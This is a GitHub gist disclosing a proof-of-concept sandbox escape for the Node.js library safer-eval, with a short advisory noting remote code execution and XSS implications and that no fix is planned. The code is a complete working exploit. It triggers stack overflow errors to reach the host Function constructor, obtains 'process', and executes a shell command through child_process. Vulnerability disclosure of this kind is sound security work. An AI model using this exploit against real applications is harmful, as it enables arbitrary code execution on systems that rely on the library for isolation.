Skip to content

Instantly share code, notes, and snippets.

@JLLeitschuh
Last active July 9, 2023 16:01
Show Gist options
  • Star 7 You must be signed in to star a gist
  • Fork 4 You must be signed in to fork a gist
  • Save JLLeitschuh/609bb2efaff22ed84fe182cf574c023a to your computer and use it in GitHub Desktop.
Save JLLeitschuh/609bb2efaff22ed84fe182cf574c023a to your computer and use it in GitHub Desktop.

Safer-Eval Sandbox Escape POC

safer-eval is a node JS library that supposedly provides a 'safe' way to 'eval' untrusted javascript.

As the maintainer warns in the README:

Warning: The saferEval function may be harmful - so you are warned!

However, it is still used by various libraries to parse/execute untrusted code in such a way that there is an implied execution sandbox.

Bypass

The bypass provide here was originally reported to the project vm2 by @XmiliaH in an issue here.

Bypass Implications

  • Remote Code Execution
  • Cross Site Scripting

Resources

Fix

There will be no fix for this vulnerability. Please consider using a different library.

const theFunction = function () {
const f = Buffer.prototype.write;
const ft = {
length: 10,
utf8Write(){
}
};
function r(i){
var x = 0;
try{
x = r(i);
}catch(e){}
if(typeof(x)!=='number')
return x;
if(x!==i)
return x+1;
try{
f.call(ft);
}catch(e){
return e;
}
return null;
}
var i=1;
while(1){
try{
i=r(i).constructor.constructor("return process")();
break;
}catch(x){
i++;
}
}
return i.mainModule.require("child_process").execSync("id").toString()
};
const untrusted = `(${theFunction})()`;
console.log(saferEval(untrusted));
@JLLeitschuh
Copy link
Author

@XmiliaH has provided an even simpler breakout POC here: commenthol/safer-eval#10

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment